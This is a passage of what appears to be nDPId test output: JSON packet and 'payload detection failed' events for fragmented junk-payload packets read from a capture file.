+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867099,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867112,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867205,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 